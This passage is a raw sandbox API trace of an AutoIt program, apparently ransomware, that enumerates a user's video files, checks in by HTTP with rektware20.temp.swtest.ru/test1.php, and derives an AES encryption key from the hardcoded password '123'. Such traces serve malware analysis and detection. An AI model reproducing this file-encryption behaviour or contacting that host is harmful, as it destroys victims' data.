lpString1="Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oQzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="QzTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zTDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TDAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DAtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AtJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tJ6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.652] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.652] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.652] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.653] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.653] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.653] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.653] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.653] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.653] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c) returned 1 [0066.653] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.653] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.653] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.654] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.654] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.654] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.654] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.654] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.654] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.654] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.654] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.654] CloseHandle (hObject=0x0) returned 0 [0066.655] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.656] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0066.656] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0066.656] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.656] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.656] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.656] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.656] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.656] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.656] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.657] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.657] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.657] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.657] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.657] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.657] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.657] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.658] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e1b0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0066.658] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0066.658] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa6f8) returned 1 [0066.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.659] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0066.659] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.659] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.659] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.659] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.659] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0066.659] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.660] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.660] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.660] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.660] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0066.660] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.660] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.660] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0066.660] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.660] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0066.660] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0066.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.660] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.660] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.660] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.660] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.660] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.660] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0066.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0066.661] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0066.661] CryptCreateHash (in: hProv=0x17aa6f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0066.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629590, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.661] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0066.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0066.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0066.661] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.661] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.661] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.661] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0066.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621648, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0066.662] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0066.662] CryptHashData (hHash=0x164c370, pbData=0x1629700, dwDataLen=0x3, dwFlags=0x1) returned 1 [0066.662] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.662] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.662] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0066.662] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.662] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.662] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.662] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0066.662] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0066.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621738, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0066.663] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0066.663] CryptDeriveKey (in: hProv=0x17aa6f8, Algid=0x6610, hBaseData=0x164c370, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0066.663] 